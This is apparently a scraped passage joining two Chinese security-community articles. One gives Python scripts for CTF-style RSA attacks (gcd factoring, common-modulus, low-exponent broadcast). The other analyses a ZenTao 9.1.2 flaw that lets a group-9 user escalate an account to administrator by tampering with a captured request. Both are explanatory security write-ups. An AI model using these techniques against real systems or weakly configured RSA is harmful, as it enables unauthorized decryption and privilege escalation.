c6 = ......
c7 = ......
e = 65537
k1 = primefac.gcd(abs(c1-c2),abs(c2-c3))
k2 = primefac.gcd(abs(c5-c6),abs(c6-c7))
n = k1*k2
phi = (k1-1)*(k2-1)
d = gmpy2.invert(e,phi)
print libnum.n2s(pow(c1,d,n))
## 多等式之共模攻击
这个方法应该大家都耳熟能详了，原理大致如下：
我们有条件即利用
我们可以将式子1，2写成如下形式然后式子1两边同时进行s1次方，式子2进行s2次方，得到
右边的高次展开式中，除了最后一项
一定每一项都含有n，所以同时取余n的时候，只剩下最后一项
上下两式相乘，即可得到
又因为
所以可以得到
那么就很容易写出相应的脚本了
n = ......
c1 = ......
c2 = ......
e1 = 13604999
e2 = 12165379
s1,s2,tmp = libnum.xgcd(e1,e2)
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print libnum.n2s(m)
## 多等式之低加密指数广播攻击
这其实是前面公约数的变形，因为e是低指数，所以可以使用中国剩余定理，题目也很容易，即用相同的公钥加密相同的消息，但每一组的n不同，e是一个很小的数，例如3或者10
所以我们有条件:（这里以e=10为例）
__那我们看一下什么是中国剩余定理：
用现代数学的语言来说明的话，中国剩余定理给出了下列式子的一元线性同余方程组有解的判定条件，并用构造法给出了在有解情况下解的具体形式：
即，利用上述关系，我们可以求出x
但是有条件，即需要
这里显然满足，因为这里如果不互素，我们显然可以利用gcd分解出p或q，即文章的第一种情况
根据中国剩余定理，可以有通解
其中
所以根据这则定理，我们可以写出如下脚本
import gmpy2
import gmpy
import libnum
question = [c1,c2,c3....n1,n2,n3...]
N = 1
e=10
for i in range(len(question)):
N*=question[i]['n']
N_list = []
for i in range(len(question)):
N_list.append(N/question[i]['n'])
t_list = []
for i in range(len(question)):
t_list.append(int(gmpy2.invert(N_list[i],question[i]['n'])))
sum = 0
for i in range(len(question)):
sum = (sum+question[i]['c']*t_list[i]*N_list[i])%N
sum = gmpy.root(sum,e)[0]
print libnum.n2s(sum) | 社区文章 |
这个漏洞目前影响至禅道最新版9.1.2(2017-04-19)
### **一、权限控制**
①禅道的权限控制在module\common\model.php中的checkPriv()函数
// 1106行
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(isset($this->app->user->modifyPassword) and $this->app->user->modifyPassword and $module != 'my' and $method != 'changepassword') die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
②它调用了hasPirv()函数判断是否有权限
/ 1135行
public static function hasPriv($module, $method)
{
global $app, $lang;
/* Check is the super admin or not. */
if($app->user->admin) return true;
/* If not super admin, check the rights. */
$rights = $app->user->rights['rights'];
$acls = $app->user->rights['acls'];
$module = strtolower($module);
$method = strtolower($method);
if(isset($rights[$module][$method]))
{
if(empty($acls['views'])) return true;
$menu = isset($lang->menugroup->$module) ? $lang->menugroup->$module : $module;
$menu = strtolower($menu);
if($menu != 'qa' and !isset($lang->$menu->menu)) return true;
if($menu == 'my' or $menu == 'index' or $module == 'tree') return true;
if($module == 'company' and $method == 'dynamic') return true;
if($module == 'action' and $method == 'editcomment') return true;
if(!isset($acls['views'][$menu])) return false;
return true;
}
return false;
}
③函数判断了 **$rights[$module][$method]** 是否存在，这个的定义在 **module\user\model.php**
中的authorize()函数。
// 675行
public function authorize($account)
{
$account = filter_var($account, FILTER_SANITIZE_STRING);
if(!$account) return false;
$rights = array();
if($account == 'guest')
{
$acl = $this->dao->select('acl')->from(TABLE_GROUP)->where('name')->eq('guest')->fetch('acl');
$acls = empty($acl) ? array() : json_decode($acl, true);
$sql = $this->dao->select('module, method')->from(TABLE_GROUP)->alias('t1')->leftJoin(TABLE_GROUPPRIV)->alias('t2')
->on('t1.id = t2.group')->where('t1.name')->eq('guest');
}
else
{
$groups = $this->dao->select('t1.acl')->from(TABLE_GROUP)->alias('t1')
->leftJoin(TABLE_USERGROUP)->alias('t2')->on('t1.id=t2.group')
->where('t2.account')->eq($account)
->fetchAll();
$acls = array();
$viewAllow = false;
$productAllow = false;
$projectAllow = false;
foreach($groups as $group)
{
if(empty($group->acl))
{
$productAllow = true;
$projectAllow = true;
$viewAllow = true;
break;
}
$acl = json_decode($group->acl, true);
if(empty($acl['products'])) $productAllow = true;
if(empty($acl['projects'])) $projectAllow = true;
if(empty($acls) and !empty($acl))
{
$acls = $acl;
continue;
}
if(!empty($acl['views'])) $acls['views'] = array_merge($acls['views'], $acl['views']);
if(!empty($acl['products'])) $acls['products'] = !empty($acls['products']) ? array_merge($acls['products'], $acl['products']) : $acl['products'];
if(!empty($acl['projects'])) $acls['projects'] = !empty($acls['projects']) ? array_merge($acls['projects'], $acl['projects']) : $acl['projects'];
}
if($productAllow) $acls['products'] = array();
if($projectAllow) $acls['projects'] = array();
if($viewAllow) $acls = array();
$sql = $this->dao->select('module, method')->from(TABLE_USERGROUP)->alias('t1')->leftJoin(TABLE_GROUPPRIV)->alias('t2')
->on('t1.group = t2.group')
->where('t1.account')->eq($account);
}
$stmt = $sql->query();
if(!$stmt) return array('rights' => $rights, 'acls' => $acls);
while($row = $stmt->fetch(PDO::FETCH_ASSOC))
{
$rights[strtolower($row['module'])][strtolower($row['method'])] = true;
}
return array('rights' => $rights, 'acls' => $acls);
}
④总的来说，就是数据库中中三张表： **zt_**** group **、** zt_grouppriv **以及** zt _usergroup
**。第一张表** zt_ ****group**
是总的控制权限，可以说是acl，默认情况下，zt_group表中的acl字段为空，也就是这张表暂时没有起作用。第三张表存放的是
**zt_usergroup** ，它存放的是用户所对应的管理组ID；第二张表 **zt_grouppriv** 存放的是管理组所对应的
**module** 以及 **method** 权限。也就是说，只有 **zt_grouppriv** 中用户组对应了相应 **module** 以及
**method** ，当前用户才有权限进行访问。
### **二、**** 修改权限 ******
禅道有两个地方可以控制权限：一个是添加账号的时候create()函数，另外一个是修改账号资料的时候edit()函数，它们都位于module\user\control.php，最后数据库操作都是对应的module\user\model.php中的create()以及update()函数，它们对于权限修改的操作分别如下，其实就是
**in**** sert **以及** update**操作而已。
// 236行，create()函数部分内容
if($this->post->group)
{
$data = new stdClass();
$data->account = $this->post->account;
$data->group = $this->post->group;
$this->dao->insert(TABLE_USERGROUP)->data($data)->exec();
}
// 398行，update函数部分内容
if(isset($_POST['groups']))
{
$this->dao->delete()->from(TABLE_USERGROUP)->where('account')->eq($this->post->account)->exec();
foreach($this->post->groups as $groupID)
{
$data = new stdclass();
$data->account = $this->post->account;
$data->group = $groupID;
$this->dao->replace(TABLE_USERGROUP)->data($data)->exec();
}
}
### **三、逻辑冲突**
系统权限最高的就是系统管理员，对应的group_id就是1，它拥有所有所有模块的权限。
① 哪些用户组拥有修改用户组的权限
也就是时候用户组1和9拥有修改管理组的权限，问题就出现在这里：
**用户组9是高层管理组，也就是说他的权限是低于管理员组的，而他却可以修改别人的用户组为管理员组** 。
### **四**** 、 ** **漏洞复现******
①添加一个group_id=9的账户test
② 登录test，添加账户ceshi1234
③ 抓包，将用户组修改为1
④ 结果成功利用高层管理用户组的账号添加了一个管理员组的账号 | 社区文章 |
Subsets and Splits